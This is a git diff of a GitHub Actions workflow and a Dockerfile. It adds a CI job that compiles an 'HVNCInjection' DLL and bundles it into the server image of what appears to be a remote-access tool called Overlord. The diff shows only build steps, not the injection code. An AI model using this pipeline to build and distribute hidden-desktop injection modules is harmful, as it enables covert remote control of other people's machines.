diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index 73998e4..d2be0c5 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -11,7 +11,26 @@ env: IMAGE_NAME: ${{ github.repository }} jobs: + build-hvnc-dll: + runs-on: windows-latest + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Build HVNCInjection DLL with MSVC + shell: cmd + run: call build-hvnc-dll.bat + + - name: Upload HVNCInjection DLL + uses: actions/upload-artifact@v4 + with: + name: hvnc-dll + path: Overlord-Server/dist-clients/HVNCInjection.x64.dll + if-no-files-found: error + retention-days: 1 + build-and-push: + needs: build-hvnc-dll runs-on: ubuntu-latest permissions: contents: read @@ -21,6 +40,12 @@ jobs: - name: Checkout repository uses: actions/checkout@v4 + - name: Download HVNCInjection DLL + uses: actions/download-artifact@v4 + with: + name: hvnc-dll + path: Overlord-Server/dist-clients + - name: Read Source Version id: srcver shell: bash diff --git a/Dockerfile b/Dockerfile index a0f2955..ac3e73c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -67,14 +67,15 @@ COPY Overlord-Client/ ./Overlord-Client/ COPY HVNCInjection/ ./HVNCInjection/ COPY build-hvnc-dll.sh ./build-hvnc-dll.sh -# Attempt to cross-compile HVNCInjection DLL with mingw. -# Requires MinHook source in HVNCInjection/src/minhook/. -# If unavailable, pre-build the DLL on Windows with build-hvnc-dll.bat -# and place it at Overlord-Server/dist-clients/HVNCInjection.x64.dll. -RUN chmod +x build-hvnc-dll.sh && \ - HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \ - (test -f dist-clients/HVNCInjection.x64.dll && echo "Using pre-built DLL") || \ - echo "WARNING: HVNCInjection DLL not available" +# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact). +# Fall back to cross-compiling with mingw only if no pre-built DLL exists. +RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \ + echo "Using pre-built MSVC HVNCInjection DLL"; \ + else \ + chmod +x build-hvnc-dll.sh && \ + HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \ + echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \ + fi # Create necessary directories RUN mkdir -p certs public data